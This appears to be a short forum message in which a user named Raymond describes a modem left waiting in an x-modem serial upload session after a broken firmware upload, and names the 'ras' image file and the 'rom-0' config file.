You ONLY have the ability to upload a new image via a serial port then, and most customers just have to bring back their unit. The modem is waiting after upload of a broken image, with a x-modem session. And there it ends. Even if you upload the previous image it wont work. Nice stuff :( There are two files you can toy around with in this case, ras and rom-o ras is the image file, rom-0 is 'just' the config. Bye, Raymond.
